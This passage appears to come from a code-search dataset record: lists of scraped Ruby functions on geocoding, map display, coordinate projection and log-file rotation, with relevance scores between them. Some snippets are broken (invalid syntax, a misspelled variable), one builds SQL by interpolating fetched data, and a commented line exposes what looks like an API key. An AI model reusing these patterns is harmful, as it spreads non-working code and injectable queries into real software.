res2[\"body\"][\"routes\"][0][\"legs\"].size\n #puts res2[\"body\"][\"routes\"][0][\"legs\"][0][\"steps\"].size\n\n res2[\"body\"][\"routes\"][0][\"legs\"][0][\"steps\"].each do |step|\n #puts step.inspect\n\n title = step[\"html_instructions\"]\n title = title.gsub(/\\<\\/?[bB]\\>/, \"\")\n #puts title\n\n myannotations << {\n :latitude => step[\"start_location\"][\"lat\"],\n :longitude => step[\"start_location\"][\"lng\"],\n :title => title,\n :subtitle => step[\"distance\"][\"text\"],\n #:url => \"/app/GeoLocation/show?city=Original Location\",\n #:image => '/public/images/marker_blue.png', :image_x_offset => 8, :image_y_offset => 32\n }\n end\n\n myannotations << {\n :latitude => to_lat,\n :longitude => to_lng,\n :title => address,\n #:subtitle => @params['map']['address'],\n #:url => \"/app/GeoLocation/show?city=Original Location\"\n }\n\n map_params = {\n #:provider => \"Google\",\n :provider => \"ESRI\",\n :settings => {\n #:map_type => \"roadmap\",\n :map_type => \"standard\",\n :region => region,\n :zoom_enabled => true, :scroll_enabled => true, :shows_user_location => true,\n #:api_key => '0jDNua8T4Teq0RHDk6_C708_Iiv45ys9ZL6bEhw'\n },\n :annotations => myannotations\n }\n\n #puts map_params.inspect\n puts \"-------------------------\"\n MapView.create map_params\n end",
"def test_getxy\n k = KAPHeader.new\n k.bsb_ra = [40, 40]\n r = REF.new\n r.x = 10\n r.y = 30\n r.latitude = -10\n r.longitude = 170\n k.ref << r\n r = REF.new\n r.x = 10\n r.y = 10\n r.latitude = 10\n r.longitude = 170\n k.ref << r\n r = REF.new\n r.x = 30\n r.y = 10\n r.latitude = 10\n r.longitude = -170\n k.ref << r\n r = REF.new\n r.x = 30\n r.y = 30\n r.latitude = -10\n r.longitude = -170\n k.ref << r\n k.compute_dxdy\n puts k.inspect\n puts k.x_at (179.9)\n puts k.y_at (0)\n puts k.x_at (-179.99999)\n puts k.y_at (0)\n \n k = KAPHeader.new\n k.bsb_ra = [40000, 40000]\n r = REF.new\n r.x = 10000\n r.y = 30000\n r.latitude = 0.0\n r.longitude = 0.0\n k.ref << r\n r = REF.new\n r.x = 10000\n r.y = 10000\n r.latitude = 20.0\n r.longitude = 0.0\n k.ref << r\n r = REF.new\n r.x = 30000\n r.y = 10000\n r.latitude = 20.0\n r.longitude = 20.0\n k.ref << r\n r = REF.new\n r.x = 30000\n r.y = 30000\n r.latitude = 0.0\n r.longitude = 20.0\n k.ref << r\n k.compute_dxdy\n puts k.inspect\n puts k.x_at (0)\n puts k.y_at (0)\n puts k.x_at (10)\n puts k.y_at (-10)\n\n #25001\n k = KAPHeader.new\n k.bsb_ra = [7360, 5699]\n r = REF.new\n r.x = 168\n r.y = 640\n r.latitude = 18.766666666667\n r.longitude = -72.333333333333\n k.ref << r\n r = REF.new\n r.x = 171\n r.y = 5325\n r.latitude = 10.000000000000\n r.longitude = -72.333333333333\n k.ref << r\n r = REF.new\n r.x = 7094\n r.y = 5325\n r.latitude = 10.000000000000\n r.longitude = -59.000000000000\n k.ref << r\n r = REF.new\n r.x = 7094\n r.y = 640\n r.latitude = 18.766666666667\n r.longitude = -59.000000000000\n k.ref << r\n k.compute_dxdy\n puts k.inspect\n Util.print_lon k.lon_at (1379)\n Util.print_lat k.lat_at (1057)\n \n #25001 - different REF points\n k = KAPHeader.new\n k.bsb_ra = [7360, 5699]\n r = REF.new\n r.x = 1379\n r.y = 1058\n r.latitude = 18.000000000000\n r.longitude = -70.000000000000\n k.ref << r\n r = REF.new\n r.x = 2244\n r.y = 2676\n r.latitude = 14.999980000000\n r.longitude = -68.336641666667\n k.ref << r\n r = REF.new\n r.x = 4844\n r.y = 1056\n r.latitude = 18.003328333333\n r.longitude = -63.331441666667\n k.ref << r\n r = REF.new\n r.x = 4844\n r.y = 2672\n r.latitude = 15.007310000000\n r.longitude = -63.331690000000\n k.ref << r\n k.compute_dxdy\n puts k.inspect\n Util.print_lon k.lon_at (168)\n Util.print_lat k.lat_at (641)\n \n #43342 - TMERC\n k = KAPHeader.new\n k.projection = TransverseMercator.new\n k.bsb_ra = [6640, 5760]\n r = REF.new\n r.x = 6238\n r.y = 618\n r.latitude = 59.094445000000\n r.longitude = 5.916666666667\n k.ref << r\n r = REF.new\n r.x = 311\n r.y = 5384\n r.latitude = 58.924666666667\n r.longitude = 5.507500000000\n k.ref << r\n k.compute_dxdy\n puts k.inspect\n \n Util.print_lon (k.lon_at(3272, 2620))\n Util.print_lat (k.lat_at(3272, 2620))\n puts k.x_at(59.0, 5.66666666666666)\n puts k.y_at(59.0, 5.66666666666666)\nend",
"def geographic_oregon(subject, data)\n geographic(subject, data, RDF::Vocab::DC[:spatial], {:adminCode1 => \"OR\", :countryBias => \"US\"})\n end",
"def serialize_coordinate(set_uri, feature_uri, feature)\n region_uri = RDF::URI.new(\"#{feature_uri.to_s}/region\")\n start_position_uri = RDF::URI.new(\"#{feature_uri.to_s}/region/start\")\n end_position_uri = RDF::URI.new(\"#{feature_uri.to_s}/region/end\")\n #feature_object_properties = @base.feature_properties.select { |uri| @base.is_object_property?(uri) }[0]\n ##graph.insert(BioInterchange::Statement.new(feature_uri, @base.with_parent([ @base.region ].flatten, feature_object_properties), region_uri))\n create_triple(feature_uri, @base.is_located_on, region_uri)\n create_triple(region_uri, RDF.type, BioInterchange::FALDO.Region)\n # BIN STUFF\n if false then\n bin_uri = RDF::URI.new(\"bin://#{feature.sequence_id}/#{BioInterchange::Genomics::Locations.reg2bin(feature.start_coordinate, feature.end_coordinate)}\")\n create_triple(bin_uri, RDF::URI.new('bin://contains'), feature_uri)\n end\n [ [ start_position_uri, BioInterchange::FALDO.begin, feature.start_coordinate ],\n [ end_position_uri, BioInterchange::FALDO.end, feature.end_coordinate ] ].each { |uri_relation_coordinate|\n position_uri, faldo_relation, coordinate = uri_relation_coordinate\n create_triple(region_uri, faldo_relation, position_uri)\n case feature.strand\n when BioInterchange::Genomics::GFF3Feature::NOT_STRANDED\n create_triple(position_uri, RDF.type, BioInterchange::FALDO.Position)\n when BioInterchange::Genomics::GFF3Feature::UNKNOWN\n create_triple(position_uri, RDF.type, BioInterchange::FALDO.Position)\n when BioInterchange::Genomics::GFF3Feature::POSITIVE\n create_triple(position_uri, RDF.type, BioInterchange::FALDO.Positive_strand)\n when BioInterchange::Genomics::GFF3Feature::NEGATIVE\n create_triple(position_uri, RDF.type, BioInterchange::FALDO.Negative_strand)\n else\n raise BioInterchange::Exceptions::InputFormatError, 'Strand of feature is set to an unknown constant.'\n end\n create_triple(start_position_uri, BioInterchange::FALDO.position, coordinate)\n }\n if feature.score then\n create_triple(feature_uri, @base.has_attribute, RDF::URI.new(\"#{feature_uri}/score\"))\n if @format == :gvf or @format == :vcf then\n create_triple(\"#{feature_uri}/score\", RDF.type, @base.PhredScore)\n else\n create_triple(\"#{feature_uri}/score\", RDF.type, @base.Score)\n end\n create_triple(\"#{feature_uri}/score\", @base.has_value, feature.score)\n end\n end",
"def getCoordinates(geoCodeResponse)\n\tcoordinates = {}\n\tcoordinates[lat:] = geoCodeResponse[\"results\"][0][\"geometry\"][\"location\"][\"lat\"].to_s\n\tcoordinates[lng:] = getCodeResponse[\"results\"][0][\"geometry\"][\"location\"][\"lng\"].to_s\n\treturn coordinates\nend",
"def loc; end",
"def loc; end",
"def loc; end",
"def gmap_location\n # URI.escape([self.address,self.address2,self.city_name,self.region_code,self.postalcode,self.country.name].compact.join(' '))\n [self.address,self.region_name,self.postalcode].compact.join(' ')\n end",
"def geo_factory\n @geo_factory\n end",
"def geo_factory\n @geo_factory\n end",
"def geocode\n fail\n end",
"def OSGB36toWGS84(easting, northing)\n #Initialising ellipsoidal and projection constants\n airy_semimajor = 6377563.396 #Airy 1830 semi-major axis used for OSGB36 (m)\n airy_semiminor = 6356256.909 #Airy 1830 semi-minor axis used for OSGB36 (m)\n scale_factor = 0.9996012717 #scale factor on the central meridian\n pi = Math::PI\n lat_origin = (49*pi)/180 #latitude of true origin (radians)\n lon_origin = (-2*pi)/180 #longtitude of true origin (radians)\n northing_origin = -100000 #northing of true origin (m)\n easting_origin = 400000 #easting of true origin (m)\n\n e_squared = 1 - ((airy_semiminor * airy_semiminor) / (airy_semimajor * airy_semimajor)) #eccentricity squared\n n = (airy_semimajor - airy_semiminor) / (airy_semimajor + airy_semiminor)\n\n #iteration\n lat = lat_origin\n m = 0\n\n lat = (n-northing_origin-m)/(airy_semimajor*scale_factor) + lat\n m_1 = (1 + n + (5./4)*n**2 + (5./4)*n**3) * (lat-lat_origin)\n m_2 = (3*n + 3*n**2 + (21./8)*n**3) * Math.sin(lat-lat_origin) * Math.cos(lat+lat_origin)\n m_3 = ((15./8)*n**2 + (15./8)*n**3) * Math.sin(2*(lat-lat_origin)) * Math.cos(2*(lat+lat_origin))\n m_4 = (35./24)*n**3 * Math.sin(3*(lat-lat_origin)) * Math.cos(3*(lat+lat_origin))\n\n # meridional arc\n m = airy_semiminor * scale_factor * (m_1 - m_2 + m_3 - m_4)\n\n #transverse radius of curvature\n nu = (airy_semimajor*scale_factor)/Math.sqrt(1-e_squared*Math.sin(lat)**2)\n\n #meridional radius of curvature\n rho = airy_semimajor*scale_factor*(1-e_squared)*(1-e_squared*Math.sin(lat)**2)**(-1.5)\n eta_squared = nu/rho-1\n\n sec_lat = 1/Math.cos(lat)\n vii = Math.tan(lat)/(2*rho*nu)\n viii = Math.tan(lat)/(24*rho*nu**3)*(5+3*Math.tan(lat)**2+eta_squared-9*Math.tan(lat)**2*eta_squared)\n ix = Math.tan(lat)/(720*rho*nu**5)*(61+90*Math.tan(lat)**2+45*Math.tan(lat)**4)\n x = sec_lat/nu\n xi = sec_lat/(6*nu**3)*(nu/rho+2+Math.tan(lat)**2)\n xii = sec_lat/(120*nu**5)*(5+28*Math.tan(lat)**2+24*Math.tan(lat)**4)\n xiia = sec_lat/(5040*nu**7)*(61+662*Math.tan(lat)**2+1320*Math.tan(lat)**4+720*Math.tan(lat)**6)\n dE = easting - easting_origin\n\n #Airy 1830 (denoted by _1)\n lat_1 = lat - vii*dE**2 + viii*dE**4 - ix*dE**6\n lon_1 = lon_origin + x*dE - xi*dE**3 + xii*dE**5 - xiia*dE**7\n\n #conversion to GRS80 ellipsoid\n #conversion to cartesian coordinates\n h = 0 #third cartesian coord\n x_1 = (nu/scale_factor + h)*Math.cos(lat_1)*Math.cos(lon_1)\n y_1 = (nu/scale_factor + h)*Math.cos(lat_1)*Math.sin(lon_1)\n z_1 = ((1-e_squared)*nu/scale_factor + h)*Math.sin(lat_1)\n\n #Helmert transformation to go from Airy 1830 -> GRS80\n s = -20.4894*10**-6 #scale factor\n tx = 446.448\n ty = -125.157\n tz = 542.060\n rxs = 0.1502\n rys = 0.2470\n rzs = 0.8421\n\n #convert seconds to radians\n def sec_to_rad(x)\n x*Math::PI/(180*3600)\n end\n\n rx = sec_to_rad(rxs)\n ry = sec_to_rad(rys)\n rz = sec_to_rad(rzs)\n x_2 = tx + (1+s)*x_1 + (-rz)*y_1 + (ry)*z_1\n y_2 = ty + (rz)*x_1 + (1+s)*y_1 + (-rx)*z_1\n z_2 = tz + (-ry)*x_1 + (rx)*y_1 + (1+s)*z_1\n\n #back to polar coordinates\n a_2 = 6378137.000\n b_2 = 6356752.3141\n e_squared_2 = 1 - (b_2*b_2)/(a_2*a_2) # The eccentricity(squared) of the GRS80 ellipsoid\n p_1 = Math.sqrt(x_2**2 + y_2**2)\n\n #obtain latitude\n lat = Math.atan2(z_2, (p_1*(1-e_squared_2)))\n latold = 2*pi\n\n nu_2 = a_2/Math.sqrt(1-e_squared_2*Math.sin(latold)**2)\n lat = Math.atan2(z_2+e_squared_2*nu_2*Math.sin(latold), p_1)\n\n #obtain longitude and height\n lon = Math.atan2(y_2, x_2)\n h = p_1/Math.cos(lat) - nu_2\n\n #convert to degrees\n lat = lat*180/pi\n lon = lon*180/pi\n\n return [lat, lon]\nend",
"def initialize\n @locations = []\n l00 = Location.new\n l00.coordinates.insert(0, 0, 0)\n l03 = Location.new\n l03.coordinates.insert(0, 0, 3)\n l06 = Location.new\n l06.coordinates.insert(0, 0, 6)\n l11 = Location.new\n l11.coordinates.insert(0, 1, 1)\n l13 = Location.new\n l13.coordinates.insert(0, 1, 3)\n l15 = Location.new\n l15.coordinates.insert(0, 1, 5)\n l22 = Location.new\n l22.coordinates.insert(0, 2, 2)\n l23 = Location.new\n l23.coordinates.insert(0, 2, 3)\n l24 = Location.new\n l24.coordinates.insert(0, 2, 4)\n l30 = Location.new\n l30.coordinates.insert(0, 3, 0)\n l31 = Location.new\n l31.coordinates.insert(0, 3, 1)\n l32 = Location.new\n l32.coordinates.insert(0, 3, 2)\n l34 = Location.new\n l34.coordinates.insert(0, 3, 4)\n l35 = Location.new\n l35.coordinates.insert(0, 3, 5)\n l36 = Location.new\n l36.coordinates.insert(0, 3, 6)\n l42 = Location.new\n l42.coordinates.insert(0, 4, 2)\n l43 = Location.new\n l43.coordinates.insert(0, 4, 3)\n l44 = Location.new\n l44.coordinates.insert(0, 4, 4)\n l51 = Location.new\n l51.coordinates.insert(0, 5, 1)\n l53 = Location.new\n l53.coordinates.insert(0, 5, 3)\n l55 = Location.new\n l55.coordinates.insert(0, 5, 5)\n l60 = Location.new\n l60.coordinates.insert(0, 6, 0)\n l63 = Location.new\n l63.coordinates.insert(0, 6, 3)\n l66 = Location.new\n l66.coordinates.insert(0, 6, 6)\n @locations.push([l00, nil, nil, l03, nil, nil, l06])\n @locations.push([nil, l11, nil, l13, nil, l15, nil])\n @locations.push([nil, nil, l22, l23, l24, nil, nil])\n @locations.push([l30, l31, l32, nil, l34, l35, l36])\n @locations.push([nil, nil, l42, l43, l44, nil, nil])\n @locations.push([nil, l51, nil, l53, nil, l55, nil])\n @locations.push([l60, nil, nil, l63, nil, nil, l66])\n end",
"def convert_centroid(lat, lon)\n [lat + LAT_GRID/2, lon + LON_GRID/2]\nend",
"def full_search(keywords, options = {})\n latitude = nil\n longitude = nil\n bounds = options[:bounds]\n where = nil\n \n if options[:alternate].blank? && options[:specific].blank? && options[:skip_where].blank?\n where_results = Atlas::Geography.where_am_i(keywords, options.dup)\n \n keywords = where_results[:query]\n where = where_results[:where].models\n \n unless where.blank?\n selected = where.first\n bounds = selected.bounds\n end\n \n options.delete :fq\n \n # The user has indicated that our \"where\" guess was incorrect, and selected another.\n elsif options[:alternate].present?\n selected = Atlas::Geography.find(options[:alternate])\n bounds = selected.bounds \n \n # Record when a user selects an alternate where result, i.e. we got it wrong!\n # Atlas::GeographicQueryLog.create :status => 'alternate', :query => query, :session_id => options[:session_id]\n\n # The user has sent in a specific bounding box in which to search. Presumably the user is looking\n # at a map, dragging it around, and re-performing searches.\n elsif options[:specific].present?\n bounds = options[:specific]\n end\n\n keywords = '*' if keywords.blank?\n \n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n if results.documents.empty? && where.present?\n where[1..-1].each do |geography|\n selected = geography\n envelope = geography.read_attribute(:bounds).envelope\n center = envelope.center\n top_center = center.y + (center.y - envelope.lower_corner.y)\n radius = center.spherical_distance(Point.from_x_y(center.x, top_center)) / 1000.0\n\n results = solr_server.find(\"{!spatial lat=#{center.lat} long=#{center.lng} radius=#{radius} unit=km calc=arc threadCount=2}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n break unless results.documents.empty?\n end\n end\n else\n results = solr_server.find(keywords, options.merge(:qt => 'full', :results => Atlas::Extensions::Place::PlaceResults))\n end\n \n { :places => results, :selected => selected, :where => where, :query => (keywords == '*' && '' || keywords) }\n end",
"def to_geo\n self.translate(KA, GEO)\n end",
"def test_getlatlon\n k = KAPHeader.new\n k.bsb_ra = [40, 40]\n r = REF.new\n r.x = 10\n r.y = 30\n r.latitude = -10\n r.longitude = 170\n k.ref << r\n r = REF.new\n r.x = 10\n r.y = 10\n r.latitude = 10\n r.longitude = 170\n k.ref << r\n r = REF.new\n r.x = 30\n r.y = 10\n r.latitude = 10\n r.longitude = -170\n k.ref << r\n r = REF.new\n r.x = 30\n r.y = 30\n r.latitude = -10\n r.longitude = -170\n k.ref << r\n puts k.inspect\n puts k.lat_at_y (11)\n puts k.lon_at_x (11)\n puts k.lat_at_y (21)\n puts k.lon_at_x (21)\n \n k = KAPHeader.new\n k.bsb_ra = [40, 40]\n r = REF.new\n r.x = 10\n r.y = 30\n r.latitude = -10\n r.longitude = -10\n k.ref << r\n r = REF.new\n r.x = 10\n r.y = 10\n r.latitude = 10\n r.longitude = -10\n k.ref << r\n r = REF.new\n r.x = 30\n r.y = 10\n r.latitude = 10\n r.longitude = 10\n k.ref << r\n r = REF.new\n r.x = 30\n r.y = 30\n r.latitude = -10\n r.longitude = 10\n k.ref << r\n puts k.inspect\n puts k.lat_at_y (11)\n puts k.lon_at_x (11)\n puts k.lat_at_y (21)\n puts k.lon_at_x (21)\nend",
"def restrict_objects\n get_affine_coordinates\n nodes = @xml.xpath(\"//descendant::xmlns:OMA/xmlns:OMS[attribute::cd='3Dgeo2']\")\n nodes.each do |node|\n scope.send node[\"name\"].to_sym, node\n end\n end",
"def geocode(location)\n # First, try World Kit\n latlong = tryWorldKit(location)\n if latlong\n puts \"Used worldkit\"\n puts latlong\n return latlong\n else\n puts \"Used google\"\n return tryGoogle(location)\n end\n end",
"def geometry\n @geometry\n end",
"def compute_position\n # The negative and the ninety are the fudge to compensate for our map.\n lat = @latitude_radians = radians(-@latitude)\n long = @longitude_radians = radians(@longitude + 90)\n radius = $app.globe.diameter / 2.0 - 23\n @x = radius * cos(lat) * sin(long)\n @y = radius * sin(lat)\n @z = radius * cos(lat) * cos(long)\n end",
"def analysePolygon(geojson, data_sources = [\"protected_areas\"])\n self.query_area_km2 = 0\n self.query_area_carbon_kg = 0\n self.save\n\n #convert geojson to wkt\n wkt = GeomHelper.geojson_to_wkt geojson\n query = [{:id => self.id, :the_geom => wkt}].to_json\n\n data_sources.each { |source|\n case source\n when \"coral\"\n url = \"http://localhost:4567/marine_search/coral\"\n field_setter = \"query_area_coral_km2=\"\n when \"mangroves\"\n url = \"http://localhost:4567/marine_search/mangroves\"\n field_setter = \"query_area_mangrove_km2=\"\n when \"sea_grass\"\n url = \"\"\n field_setter = \"query_area_sea_grass_km2=\"\n else\n next\n end\n\n res = nil\n begin\n res = JSON.parse Net::HTTP.post_form(URI.parse(url),:data => query).body\n rescue\n next\n end\n next unless res\n if res.include? \"error\"\n msg = \"Error fetching data from #{source} data source: \" + res[\"error\"]\n puts msg\n logger.error msg\n next\n end\n\n val = 0\n res[\"results\"].each{|item|val += item[\"overlapped_area\"].to_f}\n self.send field_setter, val\n self.save\n }\n\n if data_sources.include?( \"protected_areas\" )\n ok = true\n begin\n # call API\n url = \"http://protectedplanet.net/api2/geo_searches\"\n res = Net::HTTP.post_form(URI.parse(url),:data => query).body\n res = JSON.parse res\n rescue\n ok = false\n end\n\n if ok\n # populate DB with results\n res[\"results\"].each do |item|\n # This will be returned multiple times, but... it seems to be the only way to get it, other than calculating\n # locally. (Would that be so bad?.)\n self.query_area_km2 = item[\"query_area_km2\"].to_f\n self.query_area_carbon_kg = item[\"query_area_carbon_kg\"].to_f\n self.save\n\n item[\"protected_areas\"].each do |s|\n #ds = s['data_standard']\n #wkt = ds[\"GEOM\"]\n site = Site.create :tenement_id => id,\n :wdpaid => s['wdpaid'],\n :image => s['image'],\n :encoded_polyline_cache => s['epl'],\n :data_standard => s['data_standard'],\n :protected_carbon_kg => s['protected_carbon_kg'],\n :protected_area_km2 => s['protected_area_km2'],\n :query_area_protected_km2 => s['query_area_protected_km2'],\n :query_area_protected_carbon_kg => s['query_area_protected_carbon_kg']\n sql = \"UPDATE sites SET the_geom=ST_GeomFromText('#{s['simple_geom']}') where id=#{site.id}\"\n Site.connection.execute sql\n end\n end\n end\n end\n end",
"def longitude\n end",
"def geography_column_by_name(name); end",
"def getPolyCoordinates(radius, lat, lon, num_sides)\r\n # Create array to the radian values of the regular polygon\r\n rads = (0..2*Math::PI).step((2 * Math::PI) / num_sides.to_f).to_a\r\n\r\n # Compute angular distance (meters)\r\n ang_dist = (radius.to_f / EARTH_RAD_M.to_f) #*(Math::PI/180.0)\r\n lat_rad = lat * Math::PI/180.0\r\n lon_rad = lon * Math::PI/180.0\r\n\r\n # Constants\r\n a = Math.sin(lat_rad) * Math.cos(ang_dist)\r\n b = Math.cos(lat_rad) * Math.sin(ang_dist)\r\n\r\n # Loop over radians (clockwise) to compute geo points of the polygon\r\n points = Array.new\r\n cnt = 0\r\n rads.each do |r|\r\n # new point latitude (in radians)\r\n new_lat = Math.asin(a + b * Math.cos(r)) \r\n\r\n # new point longitude (in radians)\r\n c = Math.cos(ang_dist) - Math.sin(lat_rad) * Math.sin(new_lat)\r\n new_lon = lon_rad + Math.atan2(Math.sin(r) * Math.sin(ang_dist) * Math.cos(lat_rad), c)\r\n\r\n # Store (in degrees)\r\n points[cnt] = {:lat => new_lat*180.0/Math::PI, :lon => new_lon*180.0/Math::PI}\r\n cnt += 1\r\n end\r\n\r\n return points\r\n end",
"def fetch_coordinates!\n fetch_coordinates(true)\n end",
"def tryWorldKit(location)\n url = getWorldKitURL(location)\n if url\n xml_data = Net::HTTP.get_response(URI.parse(url)).body\n doc = REXML::Document.new(xml_data)\n if doc.elements[\"*/geo:Point/geo:long\"]\n long = doc.elements[\"*/geo:Point/geo:long\"].text\n lat = doc.elements[\"*/geo:Point/geo:lat\"].text\n return [lat, long]\n else\n return nil\n end\n else\n return nil\n end\n end",
"def map\n end"
] |
[
"0.71987957",
"0.65258163",
"0.6324832",
"0.62951565",
"0.6210477",
"0.6043317",
"0.5955868",
"0.5807732",
"0.5744036",
"0.57354873",
"0.5704406",
"0.5694448",
"0.56794775",
"0.5678364",
"0.56602937",
"0.56387264",
"0.56162655",
"0.560439",
"0.5598764",
"0.5593731",
"0.5593553",
"0.55905914",
"0.55851233",
"0.5584607",
"0.55815184",
"0.55752903",
"0.55539066",
"0.55255675",
"0.55240023",
"0.550863",
"0.55056685",
"0.5486783",
"0.5486783",
"0.54866785",
"0.54815716",
"0.5460375",
"0.5454827",
"0.5447503",
"0.542956",
"0.5410425",
"0.5402228",
"0.5401153",
"0.5399103",
"0.5381944",
"0.5366109",
"0.5364461",
"0.5359984",
"0.53555226",
"0.53390557",
"0.5328045",
"0.5326071",
"0.53215134",
"0.5318407",
"0.5317168",
"0.5315406",
"0.53139746",
"0.531284",
"0.5312195",
"0.5310027",
"0.5308426",
"0.5308426",
"0.5308426",
"0.5308426",
"0.52974844",
"0.52925944",
"0.5292227",
"0.5291613",
"0.52861",
"0.5272141",
"0.52654845",
"0.5264642",
"0.52571535",
"0.5253411",
"0.52345276",
"0.52342796",
"0.52315503",
"0.5228863",
"0.5222253",
"0.5222253",
"0.5222253",
"0.521656",
"0.52120996",
"0.52120996",
"0.5208878",
"0.5203183",
"0.519186",
"0.51917607",
"0.5185041",
"0.5180233",
"0.51717436",
"0.5168869",
"0.5166089",
"0.51656806",
"0.5162776",
"0.51539564",
"0.51527303",
"0.51477057",
"0.514576",
"0.5142395",
"0.51420546",
"0.51263106"
] |
0.0
|
-1
|
When our existing file exceeds a reasonable size, move it to a new filename, and open a new file that uses the same name as our old file did.
|
def transition_unified_files(file)
file.close
base_name, path_name, idx = File.basename(file.path, '.log'), File.dirname(file.path), 2
while(true)
new_filepath = path_name + "/" + base_name + "_#{idx}.log"
if(!File.exists?(new_filepath))
FileUtils.mv(file.path, new_filepath) # move our old file to an unused filename
file = File.open(path_name + "/" + base_name + ".log", 'a+') # and re-open a new file with the same name as our old file
break
end
idx += 1
end
file
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def moveOldFile(name)\n return unless File.file?(name)\n\n count = 0\n while true\n count += 1\n nfn = \"#{name}.#{count}\"\n\n if !File.file?(nfn)\n File.rename(name, nfn)\n break\n end\n end\nend",
"def rename_file\n return unless filename_changed?\n\n old_full_filename = [base_path, filename_was].join(\"/\")\n\n object = self.class.bucket.objects.find(old_full_filename)\n new_object = object.copy(:key => full_filename, :acl => attachment_options[:acl])\n object.destroy\n true\n end",
"def check_filesize!(file)\n if file.size > max_size\n file.delete\n megabytes = max_size.to_f / 1024 / 1024\n error! 413, \"The file is too big (maximum size is #{megabytes} MB).\"\n end\n end",
"def ftrunc(file, size)\n\tfoo = File.stat(file)\n\toatime=foo.atime #atime before edit\n\tomtime=foo.mtime #mtime before edit\n\n\tFile.truncate(file, size.to_i) #Rewind\n\tFile.utime(oatime, omtime, file) #Make the atime & mtime look they did before we did the rewind :)\nend",
"def rename_file\n return unless @old_filename and @old_filename != full_filename\n start_ssh do |ssh|\n if save_attachment?\n ssh.exec!(\"rm #{e @old_filename}\")\n else\n ssh.exec!(\"mv #{e @old_filename} #{e full_filename}\")\n end\n end\n @old_filename = nil\n true\n end",
"def large_file\n new_or_existing_file 'large_file.txt', 'text/plain', 128.megabytes\n end",
"def create_file_with_size(file_path: '/tmp/temp_file.ext', size: '1G')\n `fallocate -l #{size} #{file_path}`\n file_path\n end",
"def new_or_existing_file(name, mime_type, size)\n path = File.join ActiveSupport::TestCase.fixture_path, 'test_files', name\n unless File.exist?(path) && (File.size?(path) == size)\n FileUtils.mkdir_p File.dirname(path)\n File.open(path, 'w+') { |f| f.write '0' * size }\n end\n\n fixture_file_upload File.join('test_files', name), mime_type, :binary\n end",
"def check_file(entry, pathname, previous_size)\n size = pathname.size\n if previous_size && (previous_size == size)\n logger.info(\"File stabilized: #{pathname}. Starting: #{entry.job_class_name}\")\n entry.later(pathname)\n nil\n else\n logger.info(\"Found file: #{pathname}. File size: #{size}\")\n # Keep for the next run\n size\n end\n end",
"def resize(new_size, options={})\n param = {\n :uniq_id => @uniq_id,\n :new_size => new_size\n }.merge options\n options[:skip_fs_resize] = options[:skip_fs_resize] ? 1 : 0\n data = Storm::Base::SODServer.remote_call '/Server/resize', param\n self.from_hash data\n end",
"def create_large_file\n require 'tempfile'\n File.join(Dir.tmpdir, \"test_large_file\").tap do |path|\n `truncate --size #{FOUR_GB} \"#{path}\"`\n `echo \"#{EXTRA_DATA}\" >> \"#{path}\"`\n end\nend",
"def rename_file\n return unless @old_filename && @old_filename != full_filename\n if save_attachment? && File.exists?(@old_filename)\n FileUtils.rm @old_filename\n elsif File.exists?(@old_filename)\n FileUtils.mv @old_filename, full_filename\n end\n @old_filename = nil\n true\n end",
"def before_write\n return unless @max_logfile_size || @shift_period\n turnover_ = false\n if @max_logfile_size && ::File.file?(@normal_path) && ::File.size(@normal_path) > @max_logfile_size\n turnover_ = true\n end\n if @shift_period && (::Time.now - @last_shift) > @shift_period\n turnover_ = true\n end\n if turnover_\n max_ = @preferred_handle - @open_handles.keys.min + 1\n max_ = @history_size if max_ < @history_size\n ::File.delete(\"#{@normal_path}.#{max_-1}\") rescue nil\n (max_-1).downto(1) do |index_|\n ::File.rename(\"#{@normal_path}.#{index_-1}\", \"#{@normal_path}.#{index_}\") rescue nil\n end\n ::File.rename(\"#{@normal_path}\", \"#{@normal_path}.0\") rescue nil\n @preferred_handle += 1\n @last_shift = ::Time.now\n end\n end",
"def resize_to_limit(new_width, new_height)\n width, height = FastImage.size(self.current_path)\n if width > new_width || height > new_height\n resize_to_fit(new_width, new_height)\n end\n end",
"def move_file(f,target)\n # do nothing if the file does not exist, this can occur\n return 2 if not File.exists? f\n log_new(\"move file -> #{File.basename(f) }\")\n \n target_file = target + \"/\" + File.basename(f) \n stats = {}\n stats[\"src_size\"] = ( not File.size?(f).nil?) ? File.size?(f) : 0\n stats[\"dst_size\"] = ( not File.size?(target_file).nil? ) ? File.size?(target_file) : 0\n \n if File.exists? f \n if stats[\"src_size\"] == 0 \n msg = \"#{@script} -> src file zero bytes: \\'#{File.basename(f) }\\' remove new file ? [y/n] \"\n prompt(f,\"delete\",msg)\n return 2\n end\n if stats[\"src_size\"] < 100000000 and $config[\"settings\"][\"prune_small\"] \n msg = \"#{@script} -> src file less than 100M: \\'#{File.basename(f) }\\' remove new file ? [y/n] \"\n prompt(f,\"delete\", msg)\n return 2\n end\n\n if stats[\"dst_size\"] == 0 and File.exists? target_file\n msg = \"#{@script} -> dst file zero bytes will continue: \\'#{File.basename(target_file) }\\' remove new file ? [y/n] \"\n prompt(target_file,\"delete\",msg)\n end\n if stats[\"dst_size\"] < 100000000 and $config[\"settings\"][\"prune_small\"] and File.exists? target_file\n msg = \"#{@script} -> dst file less than 100M will continue: \\'#{File.basename(target_file) }\\' remove new file ? [y/n] \"\n prompt(target_file,\"delete\", msg)\n end\n end\n \n $config[\"series\"][\"media_extentions\"].split(/,/).each do |ext|\n file_target = File.basename(f).gsub(/.\\w\\w\\w$/,'') + \".\" + ext\n if File.exists? \"#{target}/#{file_target}\"\n # choose which file to delete, we keep in order of the list\n order_target = 1\n order_new = 1\n count = 1\n $config[\"series\"][\"duplicate_priority\"].split(/,/).each do |keep_ext|\n order_target = count if File.extname(file_target) =~ /#{keep_ext}/ \n order_new = count if File.extname(f) =~ /#{keep_ext}/ \n count = count + 1\n end\n delete_file = f\n delete_file = \"#{target}/#{file_target}\" if order_new < order_target\n if order_new != order_target\n msg = \"#{@script} -> current file exist with another extention: \\'#{File.basename(delete_file) }\\' remove dup copy ? [y/n] \"\n prompt(delete_file,\"delete\",msg)\n return 2\n end\n end\n \n end\n \n if File.exists? \"#{target}/#{File.basename(f)}\"\n log(\"warning dst file exists: \\'#{File.basename(f)}\\'\",2) if $config[\"settings\"][\"log_level\"] > 2\n if stats[\"src_size\"] == stats[\"dst_size\"] and 